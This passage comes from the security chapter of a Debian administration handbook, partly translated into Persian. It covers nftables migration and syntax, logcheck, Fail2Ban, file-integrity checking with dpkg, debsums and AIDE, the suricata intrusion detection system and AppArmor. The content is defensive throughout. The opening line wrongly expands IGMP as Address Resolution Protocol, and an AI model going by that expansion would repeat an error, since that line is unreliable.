به یاد داشته باشید اگرچه یک شبکه IPv4 می‌تواند بدون ICMP کار کند، استفاده از ICMP6 برای یک شبکه IPv6 بشدت مورد نیاز است، چرا که چندین قابلیت که در دنیای IPv4 بوده‌اند را با یکدیگر ترکیب می‌کند، از جمله IGMP یا Address Resolution Protocol و ARP یا Address Resolution Protocol. پروتکل ICMP6 در RFC4443 تعریف شده است.

→ http://www.faqs.org/rfcs/rfc4443.html

14.2.2. Moving from iptables to nftables

The iptables-translate and ip6tables-translate commands can be used to translate old iptables commands into the new nftables syntax. Whole rulesets can also be translated, in this case we migrate the rules configured in one computer which has Docker installed:

# iptables-save > iptables-ruleset.txt # iptables-restore-translate -f iptables-ruleset.txt # Translated by iptables-restore-translate v1.8.2 on Thu Jul 18 10:39:33 2019 add table ip filter add chain ip filter INPUT { type filter hook input priority 0; policy accept; } add chain ip filter FORWARD { type filter hook forward priority 0; policy drop; } add chain ip filter OUTPUT { type filter hook output priority 0; policy accept; } add chain ip filter DOCKER add chain ip filter DOCKER-ISOLATION-STAGE-1 add chain ip filter DOCKER-ISOLATION-STAGE-2 add chain ip filter DOCKER-USER add rule ip filter FORWARD counter jump DOCKER-USER add rule ip filter FORWARD counter jump DOCKER-ISOLATION-STAGE-1 add rule ip filter FORWARD oifname "docker0" ct state related,established counter accept add rule ip filter FORWARD oifname "docker0" counter jump DOCKER add rule ip filter FORWARD iifname "docker0" oifname != "docker0" counter accept add rule ip filter FORWARD iifname "docker0" oifname "docker0" counter accept add rule ip filter DOCKER-ISOLATION-STAGE-1 iifname "docker0" oifname != "docker0" counter jump DOCKER-ISOLATION-STAGE-2 add rule ip filter DOCKER-ISOLATION-STAGE-1 counter return add rule ip filter DOCKER-ISOLATION-STAGE-2 oifname "docker0" counter drop add rule ip filter DOCKER-ISOLATION-STAGE-2 counter return add rule ip filter DOCKER-USER counter return add table ip nat add chain ip nat PREROUTING { type nat hook prerouting priority -100; policy accept; } add chain ip nat INPUT { type nat hook input priority 100; policy accept; } add chain ip nat POSTROUTING { type nat hook postrouting priority 100; policy accept; } add chain ip nat OUTPUT { type nat hook output priority -100; policy accept; } add chain ip nat DOCKER add rule ip nat PREROUTING fib daddr type local counter jump DOCKER add rule ip nat POSTROUTING oifname != "docker0" ip saddr 172.17.0.0/16 counter masquerade add rule ip nat OUTPUT ip daddr != 127.0.0.0/8 fib daddr type local counter jump DOCKER add rule ip nat DOCKER iifname "docker0" counter return # Completed on Thu Jul 18 10:39:33 2019 # iptables-restore-translate -f iptables-ruleset.txt > ruleset.nft # nft -f ruleset.nft # nft list ruleset table ip filter { chain INPUT { type filter hook input priority 0; policy accept; } chain FORWARD { type filter hook forward priority 0; policy drop; counter packets 0 bytes 0 jump DOCKER-USER counter packets 0 bytes 0 jump DOCKER-ISOLATION-STAGE-1 oifname "docker0" ct state related,established counter packets 0 bytes 0 accept oifname "docker0" counter packets 0 bytes 0 jump DOCKER iifname "docker0" oifname != "docker0" counter packets 0 bytes 0 accept iifname "docker0" oifname "docker0" counter packets 0 bytes 0 accept } chain OUTPUT { type filter hook output priority 0; policy accept; } chain DOCKER { } chain DOCKER-ISOLATION-STAGE-1 { iifname "docker0" oifname != "docker0" counter packets 0 bytes 0 jump DOCKER-ISOLATION-STAGE-2 counter packets 0 bytes 0 return } chain DOCKER-ISOLATION-STAGE-2 { oifname "docker0" counter packets 0 bytes 0 drop counter packets 0 bytes 0 return } chain DOCKER-USER { counter packets 0 bytes 0 return } } table ip nat { chain PREROUTING { type nat hook prerouting priority -100; policy accept; fib daddr type local counter packets 0 bytes 0 jump DOCKER } chain INPUT { type nat hook input priority 100; policy accept; } chain POSTROUTING { type nat hook postrouting priority 100; policy accept; oifname != "docker0" ip saddr 172.17.0.0/16 counter packets 0 bytes 0 masquerade } chain OUTPUT { type nat hook output priority -100; policy accept; ip daddr != 127.0.0.0/8 fib daddr type local counter packets 0 bytes 0 jump DOCKER } chain DOCKER { iifname "docker0" counter packets 0 bytes 0 return } } table ip mangle { chain PREROUTING { type filter hook prerouting priority -150; policy accept; } chain INPUT { type filter hook input priority -150; policy accept; } chain FORWARD { type filter hook forward priority -150; policy accept; } chain OUTPUT { type route hook output priority -150; policy accept; } chain POSTROUTING { type filter hook postrouting priority -150; policy accept; } }

The tools iptables-nft, ip6tables-nft, arptables-nft, ebtables-nft are versions of iptables that use the nftables API, so users can keep using the old iptables syntax with them, but that is not recommended; these tools should only be used for backwards compatibility.

14.2.3. Syntax of nft

The nft commands allow manipulating tables, chains and rules. The table option supports multiple operations: add, create, delete, list and flush. nft add table ip6 mangle adds a new table from the family ip6.

To insert a new base chain to the filter table, you can execute the following command (note that the semicolon is escaped with a backslash when using Bash):

# nft add chain filter input { type filter hook input priority 0 \; }

Rules are usually added with the following syntax: nft add rule [family] table chain handle handle statement.

insert is similar to the add command, but the given rule is prepended to the beginning of the chain or before the rule with the given handle instead of at the end or after that rule. For example, the following command inserts a rule before the rule with handler number 8:

# nft insert rule filter output position 8 ip daddr 127.0.0.8 drop

The executed nft commands do not make permanent changes to the configuration, so they are lost if they are not saved. The firewall rules are located in /etc/nftables.conf. A simple way to save the current firewall configuration permanently is to execute nft list ruleset > /etc/nftables.conf as root.

nft allows many more operations, refer to its manual page nft(8) for more information.

14.2.4. اجرای قوانین در هر مرتبه راه‌اندازی

To enable a default firewall in Debian, you need to store the rules in /etc/nftables.conf and execute systemctl enable nftables.service as root. You can stop the firewall executing nft flush ruleset as root.

In other cases, the recommended way is to register the configuration script in up directive of the /etc/network/interfaces file. In the following example, the script is stored under /usr/local/etc/arrakis.fw.

مثال 14.1. فایل interfaces که اسکریپت فایروال را فراخوانی می‌کند

auto eth0 iface eth0 inet static address 192.168.0.1 network 192.168.0.0 netmask 255.255.255.0 broadcast 192.168.0.255 up /usr/local/etc/arrakis.fw

تصور بر این است که از ifupdown برای پیکربندی رابط‌های شبکه استفاده می‌کنید. اگر از ابزار دیگری برای اینکار بهره می‌برید (مانند NetworkManager یا systemd-networkd)، بهتر است به مستندات آن‌ها مراجعه کرده تا روش فراخوانی اسکریپت پس از بالا آمدن رابط را پیدا کنید.

14.3. نظارت: پیشگیری، شناسایی، بازدارندگی

مانیتورینگ، بنا بر دلایل مختلف، یک بخش جدایی ناپذیر از هر خط مشی امنیتی به حساب می‌آید. از میان آن‌ها، نه تنها هدف امنیت محدود به ضمانت از محرمانگی داده نیست، بلکه شامل دسترسی به سرویس‌ها نیز می‌باشد. پس ضروری است که از عملکرد صحیح اجزا اطلاع داشته و بتوان در گذر زمان هر گونه انحراف یا تغییر در کیفیت خدمات را تشخیص دهیم. مانیتورینگ می‌تواند به شناسایی تلاش به نفوذ و فعال‌سازی یک اقدام سریع قبل از اینکه عواقب جبران ناپذیر اتفاق بیفتد، کمک کند. این قسمت به بررسی چندین ابزار می‌پردازد که جنبه‌های مختلف مانیتورینگ در یک سیستم دبیان را شامل می‌شوند. از این رو، کامل کننده قسمت 12.4, “مانیتورینگ” به حساب می‌آید.

14.3.1. مانیتورینگ گزارش‌ها با استفاده از logcheck

برنامه logcheck به صورت پیشفرض در هر ساعت به فایل‌های گزارش نظارت کرده و پیام‌های گزارش غیر معمول را از طریق ایمیل به مدیر سیستم برای تحلیل بیشتر ارسال می‌کند.

فهرستی از فایل‌های نظارت شده در /etc/logcheck/logcheck.logfiles ذخیره‌سازی می‌گردد؛ مقادیر پیشفرض در صورتی کار می‌کنند که فایل /etc/rsyslog.conf به صورت کامل بازسازی نشده باشد.

logcheck می‌تواند در یکی از سه حالت موجود کار کند: paranoid، server و workstation. حالت اول شامل جزئیات بسیاری است که تنها باید در مورد سرورهایی نظیر فایروال استفاده گردد. حالت دوم (و پیشفرض) برای اکثر سرورها توصیه می‌شود. حالت آخر نیز در مورد رایانه‌های رومیزی کاربرد دارد که شامل جزئیات کمتری می‌شود (پیام‌های بیشتری را فیلتر می‌کند).

در هر سه مورد، logcheck به منظور پیشگیری از پیام‌های اضافی باید سفارشی‌سازی گردد (مبتنی بر سرویس‌های نصب شده)، مگر اینکه مدیر سیستم بخواهد به صورت ساعتی فهرستی از ایمیل‌های طولانی و ناخواسته را مشاهده کند. از آنجا که مکانیزم انتخاب پیام به قدری پیچیده است، مطالعه /usr/share/doc/logcheck-database/README.logcheck-database.gz به شدت توصیه می‌شود.

قوانین اعمال شده می‌توانند به چندین نوع تقسیم شوند:

آن‌هایی که صلاحیت یک پیام را به عنوان تلاش برای نفوذ در نظر می‌گیرند (که در دایرکتوری /etc/logcheck/cracking.d/ ذخیره‌سازی می‌شوند)؛

آن‌هایی که این صلاحیت را نادیده می‌گیرند (/etc/logcheck/cracking.ignore.d/)؛

آن‌هایی که یک پیام را به عنوان هشدار امنیتی طبقه‌بندی می‌کنند (/etc/logcheck/violations.d/)؛

آن‌هایی که این طبقه‌بندی را نادیده می‌گیرند (/etc/logcheck/violations.ignore.d/)؛

در نهایت، آن‌هایی که به پیام‌های باقیمانده اعمال می‌شوند (که به عنوان رویدادهای سیستمی شناخته می‌شوند).

احتیاط نادیده گرفتن یک پیام

هر پیامی که به عنوان تلاش برای نفوذ یا هشدار امنیتی برچسب‌گذاری شده باشد (همراه با یک قانون موجود در فایل /etc/logcheck/violations.d/myfile) تنها می‌تواند با استفاده از یک قانون در فایل /etc/logcheck/violations.ignore.d/myfile یا /etc/logcheck/violations.ignore.d/myfile-extension نادیده گرفته شود.

یک رویداد سیستمی همیشه ارسال می‌شود مگر یکی از قوانین موجود در دایرکتوری‌های /etc/logcheck/ignore.d.{paranoid,server,workstation}/ بگوید که این رویداد نادیده گرفته شود. البته، تنها دایرکتوری‌هایی به حساب می‌آیند که سطح گزارش برابر یا بیشتر از حالت عملیاتی انتخابی داشته باشند.

14.3.2. فعالیت مانیتورینگ

14.3.2.1. در زمان حقیقی

top یک ابزار تعاملی است که فهرستی از فرآیندهای در حال اجرا را نمایش می‌دهد. مرتب‌سازی پیشفرض آن مبتنی بر میزان استفاده فعلی از پردازنده است که می‌تواند با کلید P مشخص گردد. سایر انواع مرتب‌سازی شامل حافظه مصرفی (کلید M)، زمان کلی پردازنده (کلید T) و شناسه فرآیند (کلید N) می‌باشند. کلید k اجازه نابودی یک فرآیند با وارد کردن شناسه‌اش را فراهم می‌کند. کلید r امکان renice یک فرآیند را فراهم می‌کند، که همان تغییر اولویت در اجرا است.

When the system seems to be overloaded, top is a great tool to see which processes are competing for processor time or consume too much memory. In particular, it is often interesting to check if the processes consuming resources match the real services that the machine is known to host. An unknown process running as the www-data user should really stand out and be investigated, since it is probably an instance of software installed and executed on the system through a vulnerability in a web application.

top ابزار بسیار منعطفی است و صفحه راهنمای آن جزئیات بیشتری را درباره سفارشی‌کردن برای نیازهای خاص کاربر نمایش می‌دهد.

ابزار گرافیکی gnome-system-monitor مشابه با top بوده که تقریبا همان ویژگی‌ها را فراهم می‌کند.

14.3.2.2. تاریخچه

بار پردازنده، ترافیک شبکه و فضای آزاد دیسک اطلاعاتی هستند که به صورت مداوم در حال تغییر می‌باشند. نگهداری تاریخچه‌ای از میزان مصرف آن‌ها درک خوبی از چگونگی کارکرد رایانه را در اختیار ما قرار می‌دهد.

ابزار اختصاصی متفاوتی برای این منظور وجود دارد. اغلب آن‌ها می‌توانند با استفاده از SNMP یا Simple Network Management Protocol اطلاعات را به صورت مرکزی دریافت کنند. یک مزیت اینکار دریافت داده از عناصر شبکه‌ای است که رایانه‌های همه منظوره به حساب نمی‌آیند، از جمله مسیریاب‌ها یا سوئیچ‌های شبکه.

This book deals with Munin in some detail (see قسمت 12.4.1, “راه‌اندازی Munin” ) as part of فصل 12: “مدیریت پیشرفته”. Debian also provides a similar tool, cacti. Its deployment is slightly more complex, since it is based solely on SNMP. Despite having a web interface, grasping the concepts involved in configuration still requires some effort. Reading the HTML documentation (/usr/share/doc/cacti/html/Table-of-Contents.html) should be considered a prerequisite.

جایگزین mrtg

mrtg (در بسته‌ای با همین نام) ابزاری قدیمی‌تر به حساب می‌آید. بر خلاف برخی جنبه‌های دشوار آن، می‌تواند داده تاریخچه را گردآوری کرده و به صورت نمودار نمایش دهد. این ابزار شامل برخی اسکریپت‌های اختصاصی برای گردآوری متداول‌ترین داده‌های مانیتورینگ از جمله بار پردازنده، ترافیک شبکه، صفحه وب و از این قبیل می‌باشد.

بسته‌های mrtg-contrib و mrtgutils شامل نمونه اسکریپت‌هایی هستند که می‌توان بلافاصله از آن‌ها استفاده کرد.

14.3.3. Avoiding Intrusion

Attackers try to get access to servers by guessing passwords, which is why strong passwords must always be used. Even then, you should also establish measures against brute-force attacks. A brute-force attack is an attempt to log in to an unauthorised software system by performing multiple login attempts in a short period of time.

The best way to stop a brute-force atack is to limit the number of login attempts coming from the same origin, usually by temporarily banning an IP address.

Fail2Ban is an intrusion prevention software suite that can be configured to monitor any service that writes login attemps to a log file. It can be found in the package fail2ban.

Fail2Ban is configured through a simple protocol by fail2ban-client, which also reads configuration files and issues corresponding configuration commands to the server, fail2ban-server. It has four configuration file types, all stored in /etc/fail2ban:

fail2ban.conf. Global configuration (such as logging).

filter.d/*.conf. Filters specifying how to detect authentication failures. The Debian package already contains filters for many common programs.

action.d/*.conf. Actions defining the commands for banning and unbanning of IP addresses.

jail.conf. It is where jails, the combinations of filters and actions, are defined.

Let us have a look at the configuration of sshd in /etc/fail2ban/jail.conf to better understand how Fail2Ban works...

[...] [DEFAULT] [...] bantime = 10m [...] maxretry = 5 [...] [sshd] port = ssh logpath = %(sshd_log)s backend = %(sshd_backend)s

Fail2Ban will check for failed login attepts for sshd using Python regular expressions defined in /etc/fail2ban/filters.d/sshd.conf against the log file of sshd, which is defined in the variable sshd_log in the file /etc/fail2ban/paths_common.conf. If Fail2Ban detects five failed login attempts in a row, it will ban the IP address where those attempts originated.

Fail2Ban is a very simple and effective way to protect against the most common brute-force attacks, but it cannot protect against distributed brute-force attacks, which is when an attacker uses a large number of machines spread around the Internet.

A good way to provide extra protection against distributed brute force attacks is to artificially increase the login time after each failed attempt.

14.3.4. تشخیص تغییرات

Once the system is installed and configured, and barring security upgrades, there is usually no reason for most of the files and directories to evolve, data excepted. It is therefore interesting to make sure that files actually do not change: any unexpected change would therefore be worth investigating. This section presents a few tools able to monitor files and to warn the administrator when an unexpected change occurs (or simply to list such changes).

14.3.4.1. بازرسی بسته‌ها با استفاده از dpkg --verify

مطالعه بیشتر محافظت مقابل تغییرات بالادستی

dpkg --verify is useful in detecting changes to files coming from a Debian package, but it will be useless if the package itself is compromised, for instance, if the Debian mirror is compromised. Protecting against this class of attacks involves using APT's digital signature verification system (see قسمت 6.6, “بررسی صحت بسته‌ها” ), and taking care to only install packages from a certified origin.

dpkg --verify یا dpkg -V ابزار جالبی است چرا که امکان جستجوی فایل‌های تغییر یافته از زمان نصب را فراهم می‌کند (که احتمالا توسط مهاجم تغییر یافته‌اند) اما اینکار باید با احتیاط بیشتری صورت پذیرد. برای اینکه بتواند کار خود را انجام دهد نیازمند checksum ذخیره‌سازی شده در پایگاه‌داده dpkg روی هارد دیسک می‌باشد (این فایل‌ها می‌توانند در /var/lib/dpkg/info/package.md5sums پیدا شوند)؛ یک مهاجم بالقوه با بروزرسانی این فایل‌ها از تشخیص فایل‌های تغییر یافته جلوگیری بعمل می‌آورد.

بازگشت به مقدمات اثرانگشت فایل

به عنوان یادآوری: یک اثرانگشت شامل مقدار عددی (معمولا به صورت هگزادسیمال) است که شامل نوعی امضا برای محتویات فایل می‌باشد. این امضا توسط یک الگوریتم (از جمله MD5 یا SHA1 که شناخته شده‌اند) محاسبه می‌شود که تضمین می‌کند کوچک‌ترین تغییر در محتویات فایل موجب تغییر اثرانگشت می‌شود؛ این عمل بنام “avalanche effect” شناخته می‌شود. اینکار باعث می‌شود که یک اثرانگشت ساده به عنوان شیوه‌ای برای آزمون صحت محتویات فایل استفاده شود. این الگوریتم‌ها قابل بازگشت نیستند؛ به عبارت دیگر، برای اغلب آن‌ها، دانستن یک اثرانگشت امکان محتوای متناظر با آن را فراهم نمی‌کند. پیشرفت‌های اخیر که در علوم ریاضی بدست آمده است بنظر می‌رسد که قاطعیت این اصول را کاهش داده است، اما کارکرد آن‌ها زیر سوال نرفته است، چرا که تولید محتوای متفاوت که اثرانگشت یکسانی داشته باشند همچنان کار بسیار دشواری است.

اجرای dpkg -V تمام بسته‌های نصب شده را مورد بررسی قرار داده و به ازای هر کدام که در این آزمون شکست بخورند در خط جداگانه‌ای نمایش داده می‌شود. قالب خروجی مشابه با rpm -V است که در آن هر کاراکتر بیانگر یک آزمون روی اطلاعات جانبی بسته است. متاسفانه dpkg اطلاعات جانبی مورد نیاز بسته را ذخیره‌سازی نمی‌کند و آن‌ها را به صورت علامت سوال در خروجی نمایش می‌دهد. در حال حاضر تنها آزمون checksum منجر به تولید "5" در سومین کاراکتر آن (زمانی که شکست بخورد) می‌شود.

# dpkg -V ??5?????? /lib/systemd/system/ssh.service ??5?????? c /etc/libvirt/qemu/networks/default.xml ??5?????? c /etc/lvm/lvm.conf ??5?????? c /etc/salt/roster

در نمونه بالا، dpkg یک تغییر در فایل سرویس SSH را گزارش می‌دهد که مدیر سیستم در مورد فایل بسته اعمال کرده است بجای تغییر در فایل پیکربندی آن واقع در /etc/systemd/system/ssh.service (که مانند هر فایل پیکربندی دیگر در /etc ذخیره‌سازی می‌شود). همچنین فهرستی از فایل‌های پیکربندی دیگر که به صورت قانونی تغییر یافته‌اند را با حرف "c" در فیلد دوم نمایش می‌دهد.

14.3.4.2. بازرسی بسته‌ها: debsums و محدودیت‌های آن

debsums جد dpkg -V به حساب می‌آید و از این رو منسوخ شده است. از همان محدودیت‌های dpkg نیز رنج می‌برد. خوشبختانه می‌توان به برخی محدودیت‌های آن غلبه کرد، با اینکه dpkg راهکاری برای آن‌ها ندارد.

از آنجا که نمی‌توان به داده روی دیسک اعتماد کرد، debsums پیشنهاد می‌کند که بجای پایگاه‌داده dpkg از فایل‌های .deb به منظور آزمون استفاده شود. برای دانلود فایل‌های .deb بسته‌های نصب شده، می‌توان روی مکانیزم احرازهویت APT حساب باز کرد. این عملیات می‌تواند کند و خسته‌کننده باشد، پس نباید به عنوان تکنیکی موثر به صورت روزانه مورد استفاده قرار گیرد.

# apt-get --reinstall -d install `grep-status -e 'Status: install ok installed' -n -s Package` [ ... ] # debsums -p /var/cache/apt/archives --generate=all

به یاد داشته باشید که در این مثال از دستور grep-status واقع در بسته dctrl-tools استفاده شده است، که به صورت پیشفرض نصب نمی‌باشد.

debsums can be run frequently as a cronjob setting CRON_CHECK in /etc/default/debsums. To ignore certain files outside the /etc directory, which have been altered on purpuse or which are expected to change (like /usr/share/misc/pci.ids) you can add them to /etc/debsums-ignore.

14.3.4.3. مانیتورینگ فایل‌ها: AIDE

ابزار AIDE یا Advanced Intrusion Detection Environment امکان بررسی جامعیت فایل را فراهم می‌کند و هرگونه تغییر مقابل image نسخه پیشین از سیستم معتبر را تشخیص می‌دهد. این image به عنوان یک پایگاه‌داده ذخیره‌سازی می‌شود (/var/lib/aide/aide.db) که شامل اطلاعات مرتبط درباره تمام فایل‌های سیستم است (اثرانگشت‌ّها، مجوزها، بازه‌های زمانی و از این قبیل). این پایگاه‌داده ابتدا توسط aideinit راه‌اندازی می‌شود؛ سپس به صورت روزانه توسط اسکریپت /etc/cron.daily/aide به منظور بررسی برای عدم تغییر فایل‌های مرتبط استفاده می‌گردد. زمانی که تغییر تشخیص داده شود، AIDE آن‌ها را در فایل‌های گزارش (/var/log/aide/*.log) ثبت کرده و مشاهدات خود ار از طریق ایمیل برای مدیر سیستم ارسال می‌کند.

در عمل محافظت از پایگاه‌داده

از آنجا که AIDE از یک پایگاه‌داده محلی برای مقایسه حالت‌های یک فایل استفاده می‌کند، اعتبار نتایج آن به طور مستقیم در گرو اعتبار پایگاه‌داده می‌باشد. اگر مهاجم بتواند مجوز root سیستم نفوذ شده را کسب نماید، می‌تواند پایگاه‌داده را جایگزین کرده و رد خود را از بین ببرد. یک راهکار احتمالی ذخیره‌سازی داده مرجع در یک رسانه فقط-خواندنی است.

گزینه‌های بسیاری در /etc/default/aide وجود دارد که می‌تواند برای تغییر عملکرد بسته aide مورد استفاده قرار گیرد. فایل‌های پیکربندی AIDE در /etc/aide/aide.conf و /etc/aide/aide.conf.d/ ذخیره‌سازی شده‌اند (در حقیقت، این فایل‌ها تنها توسط update-aide.conf برای تولید /var/lib/aide/aide.conf.autogenerated مورد استفاده قرار می‌گیرند). پیکربندی شامل ویژگی‌های خاص هر فایل می‌باشد که باید مورد بررسی قرار گیرند. برای نمونه، محتوای فایل‌های گزارش به صورت مداوم تغییر می‌یابد و اینگونه تغییرات مادامی که مجوزهای این فایل‌ها تغییر نکند می‌توانند نادیده گرفته شوند، اما هر دو محتوا و مجوزهای برنامه‌های اجرایی باید ثابت باقی بمانند. با اینکه ساختار پیچیده‌ای ندارد، شیوه نگارش پیکربندی آن نیز ساده نیست و مطالعه صفحه راهنمای aide.conf(5) توصیه می‌گردد.

یک نسخه جدید از پایگاه‌داده به صورت روزانه در /var/lib/aide/aide.db.new تولید می‌شود؛ اگر تمام تغییرات ثبت شده قانونی باشند، می‌تواند جایگزین پایگاه‌داده مرجع شود.

جایگزین Tripwire و Samhain

Tripwire بسیار مشابه با AIDE عمل می‌کند؛ حتی شیوه نگارش فایل پیکربندی آن نیز تقریبا یکسان است. قابلیت اضافه‌ای که در tripwire وجود دارد مکانیزم امضای فایل پیکربندی است، تا یک مهاجم نتواند آن را به نسخه‌ای دیگر از پایگاه‌داده مرجع اشاره دهد.

Samhain نیز برخی ویژگی‌های مشابه را فراهم می‌کند، همراه با برخی توابع که می‌توانند در تشخیص rootkitها یاری رسانند (قسمت نگاه سریع بسته‌های checksecurity و chkrootkit/rkhunter را مشاهده کنید). همچنین می‌تواند به صورت سراسری روی شبکه توزیع گردد و مشاهدات خود را در یک سرور مرکزی ذخیره‌سازی نماید (همراه با یک امضا).

نگاه سریع بسته‌های checksecurity و chkrootkit/rkhunter

اولین بسته شامل چندین اسکریپت کوچک است که با بررسی سیستم (گذرواژه‌های خالی، فایل‌های جدید setuid و از این قبیل) در زمان مناسب به مدیر سیستم هشدار می‌دهد. بر خلاف نام آن، مدیر سیستم نباید برای ایمنی سیستم لینوکس تنها به این بسته متکی باشد.

بسته‌های chkrootkit و rkhunter امکان بررسی rootkit احتمالی نصب شده روی سیستم را می‌دهند. به عنوان یادآوری، این‌ها برنامه‌هایی هستند که با مخفی نگاه داشتن حضور خود از دید سیستم نسبت به کنترل کامل ماشین اقدام می‌کنند. این آزمون‌ها ۱۰۰٪ قابل اطمینان نبوده ولی نقطه شروع مناسبی برای کاوش بین مشکلات احتمالی را برای مدیر سیستم نشان می‌دهند.

rkhunter also performs checks to see if commands have been modified, if the system startup files have been modified, and various checks on the network interfaces, including checks for listening applications.

14.3.5. تشخیص نفوذ (IDS/NIDS)

بازگشت به مقدمات Denial of Service

یک حمله “Denial of Service” تنها یک هدف دارد: خارج کردن یک سرویس از دسترسی. خواه این حمله با بارگذاری پرس و جوهای سنگین روی سرور یا آسیب‌پذیری یک باگ صورت گیرد، نتیجه یکسان خواهد بود: سرویس دیگر عملیاتی نخواهد بود. کاربران عادی ناراضی می‌شوند و موجودیتی که از شبکه هدف میزبانی می‌کند اعتبار خود را از دست رفته می‌بیند (و احتمالا سود خود را، در صورتی که یک سایت فروشگاهی آنلاین مد نظر باشد).

چنین حمله‌ای بعضی وقت‌ها به صورت “distributed” انجام می‌شود؛ اینکار با استفاده از منابع مختلف که پرس و جوهای سنگین را روی سرور بارگذاری می‌کنند انجام شده تا سرور نتواند به پرس و جوهای مجاز پاسخ دهد. این گونه حملات عبارت‌های مترادفی را همراه خود دارند: DDoS و DoS (بر اساس اینکه حمله به صورت توزیع شده انجام شده است یا خیر).

suricata (in the Debian package of the same name) is a NIDS — a Network Intrusion Detection System. Its function is to listen to the network and try to detect infiltration attempts and/or hostile acts (including denial of service attacks). All these events are logged in multiple files in /var/log/suricata. There are third party tools (Kibana/logstash) to better browse all the data collected.

→ https://suricata-ids.org

→ https://www.elastic.co/products/kibana

احتیاط محدوده عملیات

میزان اثرگذاری suricata محدود به ترافیک مشاهده شده در رابط شبکه مانیتورینگ است. اگر نتواند ترافیک واقعی را مشاهده کند نمی‌تواند تشخیص مناسبی را انجام دهد. زمان که به یک سوئیچ شبکه متصل می‌شود، تنها حملاتی را مانیتور می‌کند که یکی از ماشین‌های شبکه را هدف قرار گیرند که این مورد مطلوب نظر نیست. ماشینی که از suricata میزبانی می‌کند باید به درگاه “mirror” از سوئیچ متصل شود، که معمولا این درگاه برای تعویض سوئیچ‌ها اختصاص می‌یابد و از این رو می‌تواند تمام ترافیک شبکه را مشاهده کند.

پیکربندی suricata شامل بازبینی و ویرایش فایل /etc/suricata/suricata-debian.yaml است، که بسیار طولانی بوده و هر پارامتر آن به صورت مفصل توضیح داده شده است. یک پیکربندی حداقلی نیازمند محدوده نشانی‌هایی است که شبکه محلی آن‌ها را پوشش می‌دهد (پارامتر HOME_NET). در عمل، این به معنی مجموعه اهداف قابل حمله است. اما استفاده از آن نیازمند درک کامل ویژگی‌ها و منطبق ساختن با وضعیت محلی است.

قبل از آن، باید فایل /etc/default/suricata را برای تعریف رابط شبکه به منظور مانیتورینگ ویرایش کرده و اسکریپت راه‌اندازی آن را فعال کنید (با تنظیم RUN=yes). البته شاید بخواهید LISTENMODE=pcap را انجام دهید چرا که تنظیم پیشفرض LISTENMODE=nfqueue نیازمند پیکربندی پیچیده‌تری است (فایروال netfilter باید طوری پیکربندی شود که بسته‌های فضای کاربر از طرف suricata و با استفاده از NFQUEUE مدیریت شوند).

To detect bad behavior, suricata needs a set of monitoring rules: you can find such rules in the snort-rules-default package. snort is the historical reference in the IDS ecosystem and suricata is able to reuse rules written for it.

به صورت جایگزین از oinkmaster (در بسته‌ای با همین نام) می‌توان برای دانلود مجموعه قوانین Snort از منابع خارجی استفاده کرد.

مطالعه بیشتر یکپارچگی با prelude

Prelude امکان مانیتورینگ مرکزی از اطلاعات امنیتی را بوجود می‌آورد. معماری ماژولار آن شامل یک سرور (manager در بسته prelude-manager) است که هشدارهای تولید شده توسط سنسورهای گوناگون را دریافت می‌کند.

Suricata می‌تواند به عنوان چنین سنسوری پیکربندی شود. سایر احتمالات شامل prelude-lml (یا Log Monitor Lackey) می‌شود که می‌تواند فایل‌های گزارش را مانیتور کند (به شیوه‌ای مشابه با logcheck که در قسمت قسمت 14.3.1, “مانیتورینگ گزارش‌ها با استفاده از logcheck” توضیح داده شده است).

14.4. مقدمه‌ای بر AppArmor

14.4.1. اصول

AppArmor یک سیستم کنترل دسترسی ضروری یا Mandatory Access Control (MAC) است که درون رابط ماژول‌های امنیتی لینوکس یا Linux Security Modules (LSM) پیاده‌سازی شده است. در عمل، کرنل قبل از هر فراخوانی سیستمی از AppArmor پرس و جو می‌کند تا بداند آیا فرآیند مجاز به انجام عملیات مذکور است یا خیر. از طریق این مکانیزم، AppArmor برنامه‌ها را محدود به مجموعه کوچکی از منابع می‌کند.

AppArmor applies a set of rules (known as “profile”) on each program. The profile applied by the kernel depends on the installation path of the program being executed. Contrary to SELinux (discussed in قسمت 14.5, “مقدمه‌ای بر SELinux” ), the rules applied do not depend on the user. All users face the same set of rules when they are executing the same program (but traditional user permissions still apply and might result in different behavior!).

پروفایل‌های AppArmor در /etc/apparmor.d/ ذخیره‌سازی شده و شامل فهرستی از قوانین کنترل دسترسی هستند که منابع مختلف را برای هر برنامه مشخص می‌کنند. پروفایل‌ها با استفاده از دستور apparmor_parser کامپایل شده و درون کرنل قرار می‌گیرند. هر پروفایل تنها می‌تواند در یکی از حالت‌های enforcing یا complaining بارگیری شود. اولی با توجه به خط مشی امنیتی، تلاش‌های خرابکارانه را گزارش می‌دهد در صورتی که دومی اجباری در پیروی از خط مشی نداشته ولی فراخوانی‌های سیستمی غیرمجاز را ذخیره‌سازی می‌کند.

14.4.2. فعال‌سازی و مدیریت پروفایل‌های AppArmor

AppArmor support is built into the standard kernels provided by Debian. Enabling AppArmor is thus just a matter of installing some packages by executing apt install apparmor apparmor-profiles apparmor-utils with root privileges.

AppArmor is functional after the installation, and aa-status will confirm it quickly:

# aa-status apparmor module is loaded. 40 profiles are loaded. 23 profiles are in enforce mode. /usr/bin/evince /usr/bin/evince-previewer [...] 17 profiles are in complain mode. /usr/sbin/dnsmasq [...] 14 processes have profiles defined. 12 processes are in enforce mode. /usr/bin/evince (3462) [...] 2 processes are in complain mode. /usr/sbin/avahi-daemon (429) avahi-daemon /usr/sbin/avahi-daemon (511) avahi-daemon 0 processes are unconfined but have a profile defined.

یادداشت پروفایل‌های بیشتر AppArmor

بسته apparmor-profiles شامل پروفایل‌هایی است که توسط جامعه کاربری AppArmor مدیریت می‌شوند. برای دریافت پروفایل‌های بیشتر می‌توانید بسته apparmor-profiles-extra را نصب کرده که شامل پروفایل‌های توسعه‌یافته توسط دبیان و اوبونتو می‌باشند.

The state of each profile can be switched between enforcing and complaining with calls to aa-enforce and aa-complain giving as parameter either the path of the executable or the path to the policy file. Additionally a profile can be entirely disabled with aa-disable or put in audit mode (to log accepted system calls too) with aa-audit.

# aa-enforce /usr/bin/pidgin Setting /usr/bin/pidgin to enforce mode. # aa-complain /usr/sbin/dnsmasq Setting /usr/sbin/dnsmasq to complain mode.

14.4.3. ایجاد یک پروفایل جدید

